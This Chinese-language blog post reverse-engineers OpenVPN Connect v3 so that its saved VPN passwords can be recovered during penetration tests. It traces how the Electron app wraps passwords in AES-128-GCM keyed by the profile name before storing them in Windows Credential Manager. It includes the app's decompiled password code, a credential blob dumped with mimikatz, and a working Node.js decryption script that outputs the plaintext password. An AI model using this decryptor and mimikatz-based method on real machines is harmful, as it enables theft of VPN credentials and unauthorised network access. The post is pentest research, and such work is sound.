OpenVPN Connect v3 密码恢复

OpenVPN 是一个基于 OpenSSL 库的应用层 VPN 实现。和传统 VPN 相比,它的优点是简单易用。

渗透过程中如果碰到OpenVPN Connect v3,如何恢复其密码?

本文通过对OpenVPN Connect v3的逆向分析,成功恢复了密码明文。

OpenVPN的源码问题

实际大多数组件是开源的,但OpenVPN Connect v3不开源。

https://openvpn.net/source-code/

The OpenVPN Connect v3 GUI software by OpenVPN Inc. that comes included with OpenVPN Access Server and OpenVPN Cloud is not open source.

逆向线索

线索1

渗透同事发来mimikatz疑似有openvpn的凭证

mimikatz

线索2

添加配置后,并保存密码

观察行为可以发现确实lsass进程确实生成了凭证

procmon

寻找关键点

Windows凭证相关API

CredWriteA/CredWriteW

https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credwritea

定位关键文件

在openvpn目录搜索CredWrite,发现其只出现在keytar.node

keytar是一个node模块https://github.com/atom/node-keytar

经过进一步观察目录结构,发现openvpn使用Electron编写

keytar

dir

解包app.asar

通过https://github.com/trondhumbor/Asar解包后发现不少js

app

通过source map还原js

通过https://www.npmjs.com/package/shuji还原出未压缩的js

分析主要逻辑

既然其使用了keytar,那么必然会调用keytar的setPassword方法

其原型为setPassword(service, account, password)

可以看到在保存到windows凭证前,又通过AES加密了一次

appsearch

password-util.js
import { getPassword as getFromKeychain, setPassword, deletePassword as deleteFromKeychain } from 'keytar';

const env = process.env;
const { PT_ONLY } = env;

const prefix = PT_ONLY ? ‘org.openvpn.privatetunnel’ : ‘org.openvpn.client.’;

const crypto = require(‘crypto’);

const ALGORITHM_NAME = ‘aes-128-gcm’;
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = ‘sha1’;
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;

function encryptString(plaintext, password) {
try {
const salt = crypto.randomBytes(PBKDF2_SALT_SIZE);
const key = crypto.pbkdf2Sync(
Buffer.from(password, ‘utf8’),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);

    const ciphertextAndNonceAndSalt = Buffer.concat([salt, encrypt(Buffer.from(plaintext, 'utf8'), key)]);
    return ciphertextAndNonceAndSalt.toString('base64');
} catch (e) {
    console.warn(e);
}

}

function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, ‘base64’);
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);

    const key = crypto.pbkdf2Sync(
        Buffer.from(password, 'utf8'),
        salt,
        PBKDF2_ITERATIONS,
        ALGORITHM_KEY_SIZE,
        PBKDF2_NAME
    );
    return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
    console.warn(e);
}

}

function encrypt(plaintext, key) {
const nonce = crypto.randomBytes(ALGORITHM_NONCE_SIZE);
const cipher = crypto.createCipheriv(ALGORITHM_NAME, key, nonce);
const ciphertext = Buffer.concat([cipher.update(plaintext), cipher.final()]);
return Buffer.concat([nonce, ciphertext, cipher.getAuthTag()]);
}

function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}
// const es = encryptString(‘test123’, ‘profname’);
// console.log(es);
// console.log(decryptString(es, ‘profname’));

export async function savePassword(profile, password) {
return setPassword(prefix, profile, encryptString(password, profile));
}

export async function getPassword(profile) {
return getFromKeychain(prefix, profile).then((s) => decryptString(s, profile));
}

export function deletePassword(profile) {
return deleteFromKeychain(prefix, profile);
}

export async function savePrivateKeyPassword(profile, password) {
return setPassword(prefix, ${profile}.pkp, encryptString(password, profile));
}

export function getPrivateKeyPassword(profile) {
return getFromKeychain(prefix, ${profile}.pkp).then((s) => decryptString(s, profile));
}

export function deletePrivateKeyPassword(profile) {
return deleteFromKeychain(prefix, ${profile}.pkp);
}

export async function changePassProfile(oldName, newName) {
const pass = await getPassword(oldName);
if (!pass) {
return;
}
await savePassword(newName, pass);
await deletePassword(oldName);
}

export async function changePkpProfile(oldName, newName) {
const pass = await getPrivateKeyPassword(oldName);
if (!pass) {
return;
}
await savePrivateKeyPassword(newName, pass);
await deletePrivateKeyPassword(oldName);
}

AES密钥

其使用的就是windows凭证的用户名作为AES的密钥,所以1659699386063就是key

aeskey

恢复密码

mimikatz到导出的为hex的数据

1
67 70 2f 75 48 45 75 75 4f 48 58 56 4e 59 48 30 77 30 42 45 4f 57 4c 30 4a 55 54 67 58 43 38 44 7a 75 51 68 43 79 45 49 51 4b 46 58 38 49 32 44 4b 43 45 64 4e 55 64 72 45 36 38 4e 6a 4d 32 52 7a 51 4e 78 6f 77 3d 3d

处理后为

1
gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==

编写node的解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const crypto = require('crypto');
const ALGORITHM_NAME = 'aes-128-gcm';
const ALGORITHM_NONCE_SIZE = 12;
const ALGORITHM_TAG_SIZE = 16;
const ALGORITHM_KEY_SIZE = 16;
const PBKDF2_NAME = 'sha1';
const PBKDF2_SALT_SIZE = 16;
const PBKDF2_ITERATIONS = 32767;

function decryptString(base64CiphertextAndNonceAndSalt, password) {
try {
const ciphertextAndNonceAndSalt = Buffer.from(base64CiphertextAndNonceAndSalt, 'base64');
const salt = ciphertextAndNonceAndSalt.slice(0, PBKDF2_SALT_SIZE);
const ciphertextAndNonce = ciphertextAndNonceAndSalt.slice(PBKDF2_SALT_SIZE);

const key = crypto.pbkdf2Sync(
Buffer.from(password, 'utf8'),
salt,
PBKDF2_ITERATIONS,
ALGORITHM_KEY_SIZE,
PBKDF2_NAME
);
return decrypt(ciphertextAndNonce, key).toString('utf8');
} catch (e) {
console.warn(e);
}
}
function decrypt(ciphertextAndNonce, key) {
const nonce = ciphertextAndNonce.slice(0, ALGORITHM_NONCE_SIZE);
const ciphertext = ciphertextAndNonce.slice(
ALGORITHM_NONCE_SIZE,
ciphertextAndNonce.length - ALGORITHM_TAG_SIZE
);
const tag = ciphertextAndNonce.slice(ciphertext.length + ALGORITHM_NONCE_SIZE);
const cipher = crypto.createDecipheriv(ALGORITHM_NAME, key, nonce);
cipher.setAuthTag(tag);
const res = Buffer.concat([cipher.update(ciphertext), cipher.final()]);
return res;
}

console.log(decryptString("gp/uHEuuOHXVNYH0w0BEOWL0JUTgXC8DzuQhCyEIQKFX8I2DKCEdNUdrE68NjM2RzQNxow==","1659699386063"))

执行后即可获得明文

password

文章作者: 半块西瓜皮
文章链接: https://guage.cool/openvpn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 半块西瓜皮的博客